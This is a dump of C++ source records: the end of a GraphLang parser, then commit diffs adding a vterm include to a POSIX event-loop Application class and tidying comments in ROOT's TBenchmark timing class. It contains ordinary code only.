p)\n\t{\n\t\tCheckpoint ch(p, this);\n\t\tif (!p.matchLiteral(\"[\"))\n\t\t{\n\t\t\t\/\/ Single node\n\t\t\tNode node;\n\t\t\tauto r = p.require(node);\n\n\t\t\tif (!get<0>(r))\n\t\t\t{\n\t\t\t\treturn TokenParseResult{ false,\n\t\t\t\t\t\"Node-Array expected a single node in lieu of bracketed-array, but got (\" + get<1>(r) + \").\"\n\t\t\t\t};\n\t\t\t}\n\n\t\t\tnodes.push_back(node);\n\n\t\t\tch.commit();\n\t\t\treturn TokenParseResult{ true, \"\" };\n\t\t}\n\n\t\tif (p.matchLiteral(\"]\"))\n\t\t{\n\t\t\t\/\/ empty vec of nodes\n\t\t\tch.commit();\n\t\t\treturn TokenParseResult{ true, \"Empty NodeArray\" };\n\t\t}\n\n\t\tNode primaryNode;\n\t\tauto r = p.require(primaryNode);\n\t\tif (!get<0>(r))\n\t\t{\n\t\t\treturn TokenParseResult{false, \"NodeArray expects non-empty NodeArray internals to start with a Node.\"};\n\t\t}\n\n\t\tnodes.push_back(primaryNode);\n\n\t\twhile(p.matchLiteral(\",\"))\n\t\t{\n\t\t\tNode extraNode;\n\t\t\tauto xnr = p.require(extraNode);\n\n\t\t\tif (!get<0>(xnr))\n\t\t\t{\n\t\t\t\treturn TokenParseResult{ false, \"NodeArray expects node to follow comma, but got: \" + get<1>(xnr) };\n\t\t\t}\n\n\t\t\tnodes.push_back(extraNode);\n\t\t}\n\n\t\t\/\/ before consume ]\n\n\t\tif (!p.matchLiteral(\"]\"))\n\t\t{\n\t\t\treturn{false, \"Couldn't match closing ] to NodeArray\"};\n\t\t}\n\n\t\tch.commit();\n\n\t\treturn{ true, \"\" };\n\t}\n\n\tvoid NodeArray::expose_children(TokenVisitor& vis)\n\t{\n\t\tfor (auto& node : nodes)\n\t\t{\n\t\t\tvis(node);\n\t\t}\n\t}\n\n\tTokenParseResult Relation::Parse(Parser& p)\n\t{\n\t\t\/\/ <-id- left relation\n\t\t\/\/ -id-> right relation\n\t\t\/\/ <-id-> both relation\n\t\t\/\/ -id- wtf is this???\n\n\t\tCheckpoint ch(p, this);\n\n\t\tif (p.matchLiteral(\"<-\"))\n\t\t{\n\t\t\tdirection.set(Direction::Left);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ at least need a - on the left\n\t\t\tif (!p.matchLiteral(\"-\"))\n\t\t\t{\n\t\t\t\treturn TokenParseResult{false, \"Relation expected left to have either a <- or a -\"};\n\t\t\t}\n\t\t}\n\n\t\tauto r = p.require(relationName);\n\t\tif (!get<0>(r))\n\t\t{\n\t\t\treturn TokenParseResult{\n\t\t\t\tfalse, \n\t\t\t\t\"Relation expects there to be an identifier, but: \" + get<1>(r)\n\t\t\t};\n\t\t}\n\n\t\tif (p.matchLiteral(\"->\"))\n\t\t{\n\t\t\tdirection.set(Direction::Right);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ at least need a - on the right\n\t\t\tif (!p.matchLiteral(\"-\"))\n\t\t\t{\n\t\t\t\treturn TokenParseResult{ false, \"Relation expected right to have either a -> or a -\" };\n\t\t\t}\n\t\t}\n\n\t\tif (!direction.is(Direction::Left) && !direction.is(Direction::Right))\n\t\t{\n\t\t\treturn TokenParseResult{ false, \"Relation must be either left, right, or both!\" };\n\t\t}\n\n\t\tch.commit();\n\t\treturn TokenParseResult{true, \"\"};\n\t}\n\n\tvoid Relation::expose_children(TokenVisitor& vis)\n\t{\n\t\tvis(relationName);\n\t}\n\n\tstd::string Relation::Direction::pretty() const\n\t{\n\t\tswitch (field)\n\t\t{\n\t\tcase 0x0:\t\t\t\t\t\treturn \"NONE?\";\n\t\tcase Dir::Left:\t\t\t\t\treturn \"LEFT\";\n\t\tcase Dir::Right:\t\t\t\treturn \"RIGHT\";\n\t\tcase Dir::Left | Dir::Right:\treturn \"LEFT-RIGHT\";\n\t\tdefault:\n\t\t\tassert(0);\n\t\t\treturn \"UNKNOWN!!!\";\n\t\t}\n\t}\n\n\tTokenParseResult RelationStatement::Parse(Parser& p)\n\t{\n\t\tCheckpoint ch(p, this);\n\t\tNodeArray firstNode;\n\n\t\tauto r = p.require(firstNode);\n\n\t\tif (!get<0>(r))\n\t\t{\n\t\t\treturn{false, \"RelationStatement expects a nodearray but failed b\/c: \" + get<1>(r)};\n\t\t}\n\n\t\tnodeSets.push_back(std::move(firstNode));\n\n\t\tbool atLeast1 = false;\n\n\t\twhile(true)\n\t\t{\n\t\t\tRelation rel;\n\n\t\t\tauto rrel = p.require(rel);\n\n\t\t\tif (!get<0>(rrel))\n\t\t\t{\n\t\t\t\t\/\/ no next relation\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tNodeArray arr;\n\t\t\tauto rarr = p.require(arr);\n\n\t\t\tif (!get<0>(rarr))\n\t\t\t{\n\t\t\t\t\/\/ should be a fatal error really\n\t\t\t\treturn {false, \"RelationStatement: expected NodeArray to follow relation, but got: \" + get<1>(rarr)};\n\t\t\t}\n\n\t\t\trelations.emplace_back(std::move(rel));\n\t\t\tnodeSets.emplace_back(std::move(arr));\n\n\t\t\tatLeast1 = true;\n\t\t}\n\n\t\tif (!atLeast1)\n\t\t{\n\t\t\treturn{false, \"RelationStatement: Expected at least a single relation between nodes.\"};\n\t\t}\n\n\t\tif (!p.matchLiteral(\";\"))\n\t\t{\n\t\t\treturn{ false, \"RelationStatement expects to end with ';' and didn't.\" };\n\t\t}\n\n\t\tch.commit();\n\t\treturn {true, \"\"};\n\t}\n\n\tvoid RelationStatement::expose_children(TokenVisitor& vis)\n\t{\n\t\tfor (auto& node : nodeSets) vis(node);\n\t\tfor (auto& relation : relations) vis(relation);\n\t}\n\n\tTokenParseResult SingleNodeStatement::Parse(Parser& p)\n\t{\n\t\tCheckpoint ch(p, this);\n\n\t\tif (!get<0>(p.require(node)))\n\t\t{\n\t\t\treturn{ false, \"SingleNodeStatement requires a single node!\" };\n\t\t}\n\n\t\tif (!p.matchLiteral(\";\"))\n\t\t{\n\t\t\treturn{ false, \"SingleNodeStatement expects a node to be followed by ';'\" };\n\t\t}\n\n\t\tch.commit();\n\t\treturn{ true, \"\" };\n\t}\n\n\tvoid SingleNodeStatement::expose_children(TokenVisitor& vis)\n\t{\n\t\tvis(node);\n\t}\n\n\tTokenParseResult NodeArrayDeclarationStatement::Parse(Parser& p)\n\t{\n\t\tCheckpoint ch(p, this);\n\n\t\tif (!get<0>(p.require(nodearr)))\n\t\t{\n\t\t\treturn{ false, \"NodeArrayDeclarationStatement requires a node array!\" };\n\t\t}\n\n\t\tif (!p.matchLiteral(\";\"))\n\t\t{\n\t\t\treturn{ false, \"NodeArrayDeclarationStatement expects a nodearray to be followed by ';'\" };\n\t\t}\n\n\t\tch.commit();\n\t\treturn{ true, \"\" };\n\t}\n\n\tvoid NodeArrayDeclarationStatement::expose_children(TokenVisitor& vis)\n\t{\n\t\tvis(nodearr);\n\t}\n}; \/\/ \/namespace Tokenizer\n}; \/\/ \/namespace GraphLang\n\n<|endoftext|>"} {"text":"<commit_before>#include \"application.h\"\n\n\/\/ POSIX\n#include <fcntl.h>\n\n\/\/ POSIX++\n#include <cstring> \/\/ for strerror()\n#include <cstdlib> \/\/ for exit\n\n\/\/ STL\n#include <atomic>\n#include <list>\n\n\/\/ PDTK\n#include <cxxutils\/error_helpers.h>\n\n#ifndef VTERM_H\nnamespace terminal\n{ const char* const critical = \"\\x1b[0;41;37;1mCRITICAL ERROR:\\x1b[0m \"; }\n#endif\n\n\n\/\/ atomic vars are to avoid race conditions\nstatic std::atomic_int s_return_value (0);\nstatic std::atomic_bool s_run (true); \/\/ quit signal\nstatic posix::fd_t s_pipeio[2] = { posix::invalid_descriptor }; \/\/ execution stepper pipe\n\nlockable<std::queue<vfunc>> Application::ms_signal_queue;\nlockable<std::unordered_multimap<posix::fd_t, std::pair<EventFlags_t, vfdfunc>>> Application::ms_fd_signals;\n\nenum {\n Read = 0,\n Write = 1,\n};\n\nApplication::Application(void) noexcept\n{\n if(s_pipeio[Read] == posix::invalid_descriptor) \/\/ if execution stepper pipe hasn't been initialized yet\n {\n flaw(::pipe(s_pipeio) == posix::error_response, terminal::critical, std::exit(errno),,\n \"Unable to create pipe for execution stepper: %s\", std::strerror(errno))\n ::fcntl(s_pipeio[Read], F_SETFD, FD_CLOEXEC);\n ::fcntl(s_pipeio[Read], F_SETFL, O_NONBLOCK);\n EventBackend::init(); \/\/ initialize event backend\n EventBackend::watch(s_pipeio[Read], EventFlags::Readable); \/\/ watch for when execution stepper pipe has been triggered\n }\n}\n\nApplication::~Application(void) noexcept\n{\n if(s_pipeio[Read] != posix::invalid_descriptor)\n {\n EventBackend::destroy(); \/\/ shutdown event backend\n posix::close(s_pipeio[Read ]);\n posix::close(s_pipeio[Write]);\n s_pipeio[Read ] = posix::invalid_descriptor;\n s_pipeio[Write] = posix::invalid_descriptor;\n }\n}\n\nvoid Application::step(void) noexcept\n{\n static const uint8_t dummydata = 0; \/\/ dummy content\n flaw(posix::write(s_pipeio[Write], &dummydata, 1) != 1, terminal::critical, \/*std::exit(errno)*\/,, \/\/ triggers execution stepper FD\n \"Unable to trigger Object signal queue processor: %s\", std::strerror(errno))\n}\n\nint Application::exec(void) noexcept \/\/ non-static function to ensure an instance of Application exists\n{\n while(s_run) \/\/ while not quitting\n {\n EventBackend::getevents(); \/\/ get event queue\n for(const std::pair<posix::fd_t, EventData_t> pos : EventBackend::results) \/\/ process queued events\n {\n if(pos.first == s_pipeio[Read]) \/\/ if this is the execution stepper pipe (via Object::enqueue())\n {\n uint64_t discard;\n while(posix::read(pos.first, &discard, sizeof(discard)) != posix::error_response);\n\n \/\/ execute queue of object signal calls\n static std::queue<vfunc> exec_queue;\n if(exec_queue.empty()) \/\/ if not currently executing (recursive or multithread exec() calls?)\n {\n ms_signal_queue.lock(); \/\/ get exclusive access (make thread-safe)\n exec_queue.swap(ms_signal_queue); \/\/ swap the queues\n ms_signal_queue.unlock(); \/\/ access is no longer needed\n\n while(!exec_queue.empty()) \/\/ while still have object signals to execute\n {\n exec_queue.front()(); \/\/ execute current object signal\/callback\n exec_queue.pop(); \/\/ discard current object signal\n }\n }\n }\n else \/\/ if this was a watched FD\n {\n ms_fd_signals.lock(); \/\/ get exclusive access (make thread-safe)\n auto entries = ms_fd_signals.equal_range(pos.first); \/\/ get all the callback entries for that FD\n std::list<std::pair<posix::fd_t, std::pair<EventFlags_t, vfdfunc>>> exec_fds(entries.first, entries.second); \/\/ copy entries\n ms_fd_signals.unlock(); \/\/ access is no longer needed\n for(auto& entry : exec_fds) \/\/ for each FD\n {\n if(entry.second.first.isSet(pos.second.flags)) \/\/ if the flags match\n entry.second.second(pos.first, pos.second); \/\/ call the fuction with the FD and triggering EventFlag\n }\n }\n }\n }\n return s_return_value; \/\/ quit() has been called, return value specified\n}\n\nvoid Application::quit(int return_value) noexcept \/\/ soft application exit (allows event queues to complete)\n{\n if(s_run) \/\/ if not already quitting\n {\n s_return_value = return_value; \/\/ set application return value\n s_run = false; \/\/ indicate program must quit\n }\n}\n<commit_msg>readd vterm dependency<commit_after>#include \"application.h\"\n\n\/\/ POSIX\n#include <fcntl.h>\n\n\/\/ POSIX++\n#include <cstring> \/\/ for strerror()\n#include <cstdlib> \/\/ for exit\n\n\/\/ STL\n#include <atomic>\n#include <list>\n\n\/\/ PDTK\n#include <cxxutils\/vterm.h>\n#include <cxxutils\/error_helpers.h>\n\n\/\/ atomic vars are to avoid race conditions\nstatic std::atomic_int s_return_value (0);\nstatic std::atomic_bool s_run (true); \/\/ quit signal\nstatic posix::fd_t s_pipeio[2] = { posix::invalid_descriptor }; \/\/ execution stepper pipe\n\nlockable<std::queue<vfunc>> Application::ms_signal_queue;\nlockable<std::unordered_multimap<posix::fd_t, std::pair<EventFlags_t, vfdfunc>>> Application::ms_fd_signals;\n\nenum {\n Read = 0,\n Write = 1,\n};\n\nApplication::Application(void) noexcept\n{\n if(s_pipeio[Read] == posix::invalid_descriptor) \/\/ if execution stepper pipe hasn't been initialized yet\n {\n flaw(::pipe(s_pipeio) == posix::error_response, terminal::critical, std::exit(errno),,\n \"Unable to create pipe for execution stepper: %s\", std::strerror(errno))\n ::fcntl(s_pipeio[Read], F_SETFD, FD_CLOEXEC);\n ::fcntl(s_pipeio[Read], F_SETFL, O_NONBLOCK);\n EventBackend::init(); \/\/ initialize event backend\n EventBackend::watch(s_pipeio[Read], EventFlags::Readable); \/\/ watch for when execution stepper pipe has been triggered\n }\n}\n\nApplication::~Application(void) noexcept\n{\n if(s_pipeio[Read] != posix::invalid_descriptor)\n {\n EventBackend::destroy(); \/\/ shutdown event backend\n posix::close(s_pipeio[Read ]);\n posix::close(s_pipeio[Write]);\n s_pipeio[Read ] = posix::invalid_descriptor;\n s_pipeio[Write] = posix::invalid_descriptor;\n }\n}\n\nvoid Application::step(void) noexcept\n{\n static const uint8_t dummydata = 0; \/\/ dummy content\n flaw(posix::write(s_pipeio[Write], &dummydata, 1) != 1, terminal::critical, \/*std::exit(errno)*\/,, \/\/ triggers execution stepper FD\n \"Unable to trigger Object signal queue processor: %s\", std::strerror(errno))\n}\n\nint Application::exec(void) noexcept \/\/ non-static function to ensure an instance of Application exists\n{\n while(s_run) \/\/ while not quitting\n {\n EventBackend::getevents(); \/\/ get event queue\n for(const std::pair<posix::fd_t, EventData_t> pos : EventBackend::results) \/\/ process queued events\n {\n if(pos.first == s_pipeio[Read]) \/\/ if this is the execution stepper pipe (via Object::enqueue())\n {\n uint64_t discard;\n while(posix::read(pos.first, &discard, sizeof(discard)) != posix::error_response);\n\n \/\/ execute queue of object signal calls\n static std::queue<vfunc> exec_queue;\n if(exec_queue.empty()) \/\/ if not currently executing (recursive or multithread exec() calls?)\n {\n ms_signal_queue.lock(); \/\/ get exclusive access (make thread-safe)\n exec_queue.swap(ms_signal_queue); \/\/ swap the queues\n ms_signal_queue.unlock(); \/\/ access is no longer needed\n\n while(!exec_queue.empty()) \/\/ while still have object signals to execute\n {\n exec_queue.front()(); \/\/ execute current object signal\/callback\n exec_queue.pop(); \/\/ discard current object signal\n }\n }\n }\n else \/\/ if this was a watched FD\n {\n ms_fd_signals.lock(); \/\/ get exclusive access (make thread-safe)\n auto entries = ms_fd_signals.equal_range(pos.first); \/\/ get all the callback entries for that FD\n std::list<std::pair<posix::fd_t, std::pair<EventFlags_t, vfdfunc>>> exec_fds(entries.first, entries.second); \/\/ copy entries\n ms_fd_signals.unlock(); \/\/ access is no longer needed\n for(auto& entry : exec_fds) \/\/ for each FD\n {\n if(entry.second.first.isSet(pos.second.flags)) \/\/ if the flags match\n entry.second.second(pos.first, pos.second); \/\/ call the fuction with the FD and triggering EventFlag\n }\n }\n }\n }\n return s_return_value; \/\/ quit() has been called, return value specified\n}\n\nvoid Application::quit(int return_value) noexcept \/\/ soft application exit (allows event queues to complete)\n{\n if(s_run) \/\/ if not already quitting\n {\n s_return_value = return_value; \/\/ set application return value\n s_run = false; \/\/ indicate program must quit\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers. *\n * All rights reserved. *\n * *\n * For the licensing terms see $ROOTSYS\/LICENSE. *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS. *\n *************************************************************************\/\n\n#include \"TBenchmark.h\"\n#include \"TROOT.h\"\n#include \"TStopwatch.h\"\n\n\nTBenchmark *gBenchmark = 0;\n\nClassImp(TBenchmark)\n\n\/\/______________________________________________________________________________\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ This class is a ROOT utility to help benchmarking applications\n\/\/\n\/\/ Examples of use of this class are given in the tutorials macros.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n\/\/______________________________________________________________________________\nTBenchmark::TBenchmark(): TNamed()\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*Benchmark default constructor*-*-*-*-*-*-*-*-*-*-*-*-*-*\n\/\/*-* =============================\n\n fNbench = 0;\n fNmax = 20;\n fNames = 0;\n fRealTime = 0;\n fCpuTime = 0;\n fTimer = 0;\n}\n\n\/\/______________________________________________________________________________\nTBenchmark::TBenchmark(const TBenchmark& bm) :\n TNamed(bm),\n fNbench(bm.fNbench),\n fNmax(bm.fNmax),\n fNames(0),\n fRealTime(0),\n fCpuTime(0),\n fTimer(0)\n{ \n \/\/copy constructor\n fNames = new TString[fNmax];\n fRealTime = new Float_t[fNmax];\n fCpuTime = new Float_t[fNmax];\n fTimer = new TStopwatch[fNmax];\n\n for(Int_t i = 0; i<fNmax; ++i) {\n fNames[i] = bm.fNames[i];\n fRealTime[i] = bm.fRealTime[i];\n fCpuTime[i] = bm.fCpuTime[i];\n fTimer[i] = bm.fTimer[i];\n }\n}\n\n\/\/______________________________________________________________________________\nTBenchmark& TBenchmark::operator=(const TBenchmark& bm)\n{\n \/\/assignment operator\n if(this!=&bm) {\n TNamed::operator=(bm);\n fNbench=bm.fNbench;\n fNmax=bm.fNmax;\n \n delete [] fNames;\n delete [] fRealTime;\n delete [] fCpuTime;\n delete [] fTimer;\n \n fNames = new TString[fNmax];\n fRealTime = new Float_t[fNmax];\n fCpuTime = new Float_t[fNmax];\n fTimer = new TStopwatch[fNmax];\n \n for(Int_t i = 0; i<fNmax; ++i) {\n fNames[i] = bm.fNames[i];\n fRealTime[i] = bm.fRealTime[i];\n fCpuTime[i] = bm.fCpuTime[i];\n fTimer[i] = bm.fTimer[i];\n }\n } \n return *this;\n}\n\n\/\/______________________________________________________________________________\nTBenchmark::~TBenchmark()\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*Benchmark default destructor*-*-*-*-*-*-*-*-*-*-*-*-*-*\n\/\/*-* ============================\n\n fNbench = 0;\n if (fNames) { delete [] fNames; fNames = 0;}\n if (fRealTime) { delete [] fRealTime; fRealTime = 0;}\n if (fCpuTime) { delete [] fCpuTime; fCpuTime = 0;}\n if (fTimer ) { delete [] fTimer; fTimer = 0;}\n}\n\n\/\/______________________________________________________________________________\nInt_t TBenchmark::GetBench(const char *name) const\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*Returns index of Benchmark name*-*-*-*-*-*-*-*\n\/\/*-* ===============================\n\n for (Int_t i=0;i<fNbench;i++) {\n if (!strcmp(name,(const char*)fNames[i])) return i;\n }\n return -1;\n}\n\n\/\/______________________________________________________________________________\nFloat_t TBenchmark::GetCpuTime(const char *name)\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*Returns Cpu time used by Benchmark name*-*-*-*-*-*-*-*\n\/\/*-* =======================================\n\n Int_t bench = GetBench(name);\n if (bench >= 0) return fCpuTime[bench];\n else return 0;\n}\n\n\/\/______________________________________________________________________________\nFloat_t TBenchmark::GetRealTime(const char *name)\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*Returns Realtime used by Benchmark name*-*-*-*-*-*-*-*\n\/\/*-* =======================================\n\n Int_t bench = GetBench(name);\n if (bench >= 0) return fRealTime[bench];\n else return 0;\n}\n\n\/\/______________________________________________________________________________\nvoid TBenchmark::Print(const char *name) const\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*Prints parameters of Benchmark name*-*-*-*-*-*-*-*-*-*\n\/\/*-* ===================================\n\n Int_t bench = GetBench(name);\n if (bench < 0) return;\n Printf(\"%-10s: Real Time = %6.2f seconds Cpu Time = %6.2f seconds\",name,fRealTime[bench],fCpuTime[bench]);\n}\n\n\/\/______________________________________________________________________________\nvoid TBenchmark::Reset()\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*-*-*-*Reset all Benchmarks*-*-*-*-*-*-*-*-*-*-*-*-*\n\/\/*-* ====================\n\n fNbench = 0;\n\n}\n\n\/\/______________________________________________________________________________\nvoid TBenchmark::Show(const char *name)\n{\n\/\/*-*-*-*-*-*-*-*-*Stops Benchmark name and Prints results*-*-*-*-*-*-*-*-*-*\n\/\/*-* =======================================\n\n Stop(name);\n Print((char*)name);\n}\n\n\/\/______________________________________________________________________________\nvoid TBenchmark::Start(const char *name)\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*-*-*-*-*Starts Benchmark name*-*-*-*-*-*-*-*-*-*\n\/\/*-* =====================\n\/\/*-*\n\/\/*-* An independent timer (see class TStopwatch) is started.\n\/\/*-* the name of the benchmark is entered into the list of benchmarks.\n\/\/*-* Benchmark can be stopped via TBenchmark::Stop\n\/\/*-* Results can be printed via TBenchmark::Print\n\/\/*-* TBenchmark::Show can be used to stop benchmark and print results.\n\/\/*-* If name is an already existing benchmark, existing parameters are reset.\n\/\/*-* A summary of all benchmarks can be seen via TBenchmark::Summary.\n\/\/*-*\n\/\/*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-**-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*\n if (!fNames) {\n fNames = new TString[fNmax];\n fRealTime = new Float_t[fNmax];\n fCpuTime = new Float_t[fNmax];\n fTimer = new TStopwatch[fNmax];\n }\n Int_t bench = GetBench(name);\n if (bench < 0 && fNbench < fNmax ) {\n \/\/ define a new benchmark to Start\n fNames[fNbench] = name;\n bench = fNbench;\n fNbench++;\n fTimer[bench].Reset();\n fTimer[bench].Start();\n fRealTime[bench] = 0;\n fCpuTime[bench] = 0;\n } else if (bench >=0) {\n \/\/ Resume the existen benchmark\n fTimer[bench].Continue();\n }\n else\n Warning(\"Start\",\"too many benches\");\n\n}\n\n\/\/______________________________________________________________________________\nvoid TBenchmark::Stop(const char *name)\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*Terminates Benchmark name*-*-*-*-*-*-*-*-*-*-*-*\n\/\/*-* =========================\n\n Int_t bench = GetBench(name);\n if (bench < 0) return;\n\n fTimer[bench].Stop();\n fRealTime[bench] = fTimer[bench].RealTime();\n fCpuTime[bench] = fTimer[bench].CpuTime();\n\n}\n\n\/\/______________________________________________________________________________\nvoid TBenchmark::Summary(Float_t &rt, Float_t &cp)\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*-*-*-*Prints a summary of all benchmarks*-*-*-*-*-*-*-*\n\/\/*-* ==================================\n\n rt = 0;\n cp = 0;\n for (Int_t i=0;i<fNbench;i++) {\n Printf(\"%-10s: Real Time = %6.2f seconds Cpu Time = %6.2f seconds\",(const char*)fNames[i],fRealTime[i],fCpuTime[i]);\n rt += fRealTime[i];\n cp += fCpuTime[i];\n }\n Printf(\"%-10s: Real Time = %6.2f seconds Cpu Time = %6.2f seconds\",\"TOTAL\",rt,cp);\n\n}\n<commit_msg>Fix comment in Start(), starting of an existing benchmark will resume the benchmark, not reset it.<commit_after>\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers. *\n * All rights reserved. *\n * *\n * For the licensing terms see $ROOTSYS\/LICENSE. *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS. *\n *************************************************************************\/\n\n#include \"TBenchmark.h\"\n#include \"TROOT.h\"\n#include \"TStopwatch.h\"\n\n\nTBenchmark *gBenchmark = 0;\n\nClassImp(TBenchmark)\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ \/\/\n\/\/ TBenchmark \/\/\n\/\/ \/\/\n\/\/ This class is a ROOT utility to help benchmarking applications \/\/\n\/\/ \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/______________________________________________________________________________\nTBenchmark::TBenchmark(): TNamed()\n{\n \/\/ Benchmark default constructor\n\n fNbench = 0;\n fNmax = 20;\n fNames = 0;\n fRealTime = 0;\n fCpuTime = 0;\n fTimer = 0;\n}\n\n\/\/______________________________________________________________________________\nTBenchmark::TBenchmark(const TBenchmark& bm) :\n TNamed(bm),\n fNbench(bm.fNbench),\n fNmax(bm.fNmax),\n fNames(0),\n fRealTime(0),\n fCpuTime(0),\n fTimer(0)\n{ \n \/\/ Copy constructor.\n \n fNames = new TString[fNmax];\n fRealTime = new Float_t[fNmax];\n fCpuTime = new Float_t[fNmax];\n fTimer = new TStopwatch[fNmax];\n\n for(Int_t i = 0; i<fNmax; ++i) {\n fNames[i] = bm.fNames[i];\n fRealTime[i] = bm.fRealTime[i];\n fCpuTime[i] = bm.fCpuTime[i];\n fTimer[i] = bm.fTimer[i];\n }\n}\n\n\/\/______________________________________________________________________________\nTBenchmark& TBenchmark::operator=(const TBenchmark& bm)\n{\n \/\/ Assignment operator.\n \n if (this!=&bm) {\n TNamed::operator=(bm);\n fNbench=bm.fNbench;\n fNmax=bm.fNmax;\n \n delete [] fNames;\n delete [] fRealTime;\n delete [] fCpuTime;\n delete [] fTimer;\n \n fNames = new TString[fNmax];\n fRealTime = new Float_t[fNmax];\n fCpuTime = new Float_t[fNmax];\n fTimer = new TStopwatch[fNmax];\n \n for(Int_t i = 0; i<fNmax; ++i) {\n fNames[i] = bm.fNames[i];\n fRealTime[i] = bm.fRealTime[i];\n fCpuTime[i] = bm.fCpuTime[i];\n fTimer[i] = bm.fTimer[i];\n }\n } \n return *this;\n}\n\n\/\/______________________________________________________________________________\nTBenchmark::~TBenchmark()\n{\n \/\/ Benchmark destructor.\n\n fNbench = 0;\n if (fNames) { delete [] fNames; fNames = 0;}\n if (fRealTime) { delete [] fRealTime; fRealTime = 0;}\n if (fCpuTime) { delete [] fCpuTime; fCpuTime = 0;}\n if (fTimer ) { delete [] fTimer; fTimer = 0;}\n}\n\n\/\/______________________________________________________________________________\nInt_t TBenchmark::GetBench(const char *name) const\n{\n \/\/ Returns index of Benchmark name.\n\n for (Int_t i=0;i<fNbench;i++) {\n if (!strcmp(name,(const char*)fNames[i])) return i;\n }\n return -1;\n}\n\n\/\/______________________________________________________________________________\nFloat_t TBenchmark::GetCpuTime(const char *name)\n{\n \/\/ Returns Cpu time used by Benchmark name.\n\n Int_t bench = GetBench(name);\n if (bench >= 0) return fCpuTime[bench];\n else return 0;\n}\n\n\/\/______________________________________________________________________________\nFloat_t TBenchmark::GetRealTime(const char *name)\n{\n \/\/ Returns Realtime used by Benchmark name.\n\n Int_t bench = GetBench(name);\n if (bench >= 0) return fRealTime[bench];\n else return 0;\n}\n\n\/\/______________________________________________________________________________\nvoid TBenchmark::Print(const char *name) const\n{\n \/\/ Prints parameters of Benchmark name.\n\n Int_t bench = GetBench(name);\n if (bench < 0) return;\n Printf(\"%-10s: Real Time = %6.2f seconds Cpu Time = %6.2f seconds\",name,fRealTime[bench],fCpuTime[bench]);\n}\n\n\/\/______________________________________________________________________________\nvoid TBenchmark::Reset()\n{\n \/\/ Reset all Benchmarks\n\n fNbench = 0;\n}\n\n\/\/______________________________________________________________________________\nvoid TBenchmark::Show(const char *name)\n{\n \/\/ Stops Benchmark name and Prints results\n\n Stop(name);\n Print((char*)name);\n}\n\n\/\/______________________________________________________________________________\nvoid TBenchmark::Start(const char *name)\n{\n \/\/ Starts Benchmark with the specified name.\n \/\/\n \/\/ An independent timer (see class TStopwatch) is started.\n \/\/ The name of the benchmark is entered into the list of benchmarks.\n \/\/ Benchmark can be stopped via TBenchmark::Stop().\n \/\/ Results can be printed via TBenchmark::Print().\n \/\/ TBenchmark::Show() can be used to stop benchmark and print results.\n \/\/ If name is an already existing benchmark, timing will resume.\n \/\/ A summary of all benchmarks can be seen via TBenchmark::Summary().\n\n if (!fNames) {\n fNames = new TString[fNmax];\n fRealTime = new Float_t[fNmax];\n fCpuTime = new Float_t[fNmax];\n fTimer = new TStopwatch[fNmax];\n }\n Int_t bench = GetBench(name);\n if (bench < 0 && fNbench < fNmax ) {\n \/\/ define a new benchmark to Start\n fNames[fNbench] = name;\n bench = fNbench;\n fNbench++;\n fTimer[bench].Reset();\n fTimer[bench].Start();\n fRealTime[bench] = 0;\n fCpuTime[bench] = 0;\n } else if (bench >= 0) {\n \/\/ Resume the existing benchmark\n fTimer[bench].Continue();\n }\n else\n Warning(\"Start\",\"too many benchemarks\");\n}\n\n\/\/______________________________________________________________________________\nvoid TBenchmark::Stop(const char *name)\n{\n \/\/ Terminates Benchmark with specified name.\n\n Int_t bench = GetBench(name);\n if (bench < 0) return;\n\n fTimer[bench].Stop();\n fRealTime[bench] = fTimer[bench].RealTime();\n fCpuTime[bench] = fTimer[bench].CpuTime();\n}\n\n\/\/______________________________________________________________________________\nvoid TBenchmark::Summary(Float_t &rt, Float_t &cp)\n{\n \/\/ Prints a summary of all benchmarks.\n\n rt = 0;\n cp = 0;\n for (Int_t i=0;i<fNbench;i++) {\n Printf(\"%-10s: Real Time = %6.2f seconds Cpu Time = %6.2f seconds\",(const char*)fNames[i],fRealTime[i],fCpuTime[i]);\n rt += fRealTime[i];\n cp += fCpuTime[i];\n }\n Printf(\"%-10s: Real Time = %6.2f seconds Cpu Time = %6.2f seconds\",\"TOTAL\",rt,cp);\n}\n<|endoftext|>"} {"text":"<commit_before>#include 